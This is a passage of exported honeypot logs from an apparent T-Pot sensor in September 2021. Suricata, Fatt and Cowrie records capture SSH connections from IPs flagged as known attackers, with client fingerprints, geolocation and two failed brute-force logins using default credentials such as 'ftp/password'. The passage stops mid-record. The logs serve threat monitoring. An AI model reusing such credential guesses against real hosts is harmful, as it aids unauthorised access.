26868	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:04.118334+03	2021-09-20 14:15:13.832647+03	{"_id": "aQboAnwBvYTbRNuEzyMN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1808256070551057, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 7347, "dest_port": 22, "timestamp": "2021-09-20T11:13:04.118334Z", "@timestamp": "2021-09-20T11:13:04.118Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26869	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:03.686843+03	2021-09-20 14:15:13.833677+03	{"_id": "ZwboAnwBvYTbRNuEzyMN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 341874778831068, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54506, "dest_port": 22, "timestamp": "2021-09-20T11:13:03.686843Z", "@timestamp": "2021-09-20T11:13:03.686Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26870	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:03.982476+03	2021-09-20 14:15:13.834645+03	{"_id": "agboAnwBvYTbRNuE0CM5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38604, "timestamp": "2021-09-20T11:13:03.982476", "@timestamp": "2021-09-20T11:13:03.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26871	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:07.240307+03	2021-09-20 14:15:13.836646+03	{"_id": "5gboAnwBvYTbRNuE3yPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45716, "timestamp": "2021-09-20T11:13:07.240307", "@timestamp": "2021-09-20T11:13:07.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26881	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:04.653744+03	2021-09-20 14:15:13.850645+03	{"_id": "mQboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a46fe3b1399e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:04.653744Z", "@timestamp": "2021-09-20T11:13:04.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26872	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:08.974202+03	2021-09-20 14:15:13.837646+03	{"_id": "-gboAnwBvYTbRNuE5CN0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b882088f7b09", "@version": "1", "timestamp": "2021-09-20T11:13:08.974202Z", "@timestamp": "2021-09-20T11:13:08.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26873	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:09.941086+03	2021-09-20 14:15:13.839644+03	{"_id": "BAboAnwBvYTbRNuE6CRd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ftp/password] failed", "session": "b882088f7b09", "@version": "1", "password": "password", "username": "ftp", "timestamp": "2021-09-20T11:13:09.941086Z", "@timestamp": "2021-09-20T11:13:09.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26874	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:10.060382+03	2021-09-20 14:15:13.840646+03	{"_id": "CQboAnwBvYTbRNuE6CRe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "db1452d9c58d", "@version": "1", "duration": 2.8957955837249756, "timestamp": "2021-09-20T11:13:10.060382Z", "@timestamp": "2021-09-20T11:13:10.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26875	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:11.15345+03	2021-09-20 14:15:13.841646+03	{"_id": "CgboAnwBvYTbRNuE6iRq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 132920325370066, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46638, "dest_port": 22, "timestamp": "2021-09-20T11:13:11.153450Z", "@timestamp": "2021-09-20T11:13:11.153Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26876	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:10.58248+03	2021-09-20 14:15:13.843645+03	{"_id": "DQboAnwBvYTbRNuE6ySW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59798, "timestamp": "2021-09-20T11:13:10.582480", "@timestamp": "2021-09-20T11:13:10.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26877	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:04.1184+03	2021-09-20 14:15:13.844644+03	{"_id": "bAboAnwBvYTbRNuE0CM5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7347, "timestamp": "2021-09-20T11:13:04.118400", "@timestamp": "2021-09-20T11:13:04.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26878	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:04.397997+03	2021-09-20 14:15:13.846646+03	{"_id": "kgboAnwBvYTbRNuE1CMg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36896, "timestamp": "2021-09-20T11:13:04.397997", "@timestamp": "2021-09-20T11:13:04.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26879	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:04.654442+03	2021-09-20 14:15:13.848645+03	{"_id": "kwboAnwBvYTbRNuE1CMg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7192, "timestamp": "2021-09-20T11:13:04.654442", "@timestamp": "2021-09-20T11:13:04.654Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26880	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:04.652859+03	2021-09-20 14:15:13.849645+03	{"_id": "mAboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:7192 (192.168.176.2:22) [session: a46fe3b1399e]", "session": "a46fe3b1399e", "@version": "1", "protocol": "ssh", "src_port": 7192, "dest_port": 22, "timestamp": "2021-09-20T11:13:04.652859Z", "@timestamp": "2021-09-20T11:13:04.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26887	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:05.556948+03	2021-09-20 14:15:13.857645+03	{"_id": "nwboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:05.556948Z", "@timestamp": "2021-09-20T11:13:05.556Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26882	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:05.304273+03	2021-09-20 14:15:13.851647+03	{"_id": "lwboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [pt/pt123] failed", "session": "3532511486e4", "@version": "1", "password": "pt123", "username": "pt", "timestamp": "2021-09-20T11:13:05.304273Z", "@timestamp": "2021-09-20T11:13:05.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 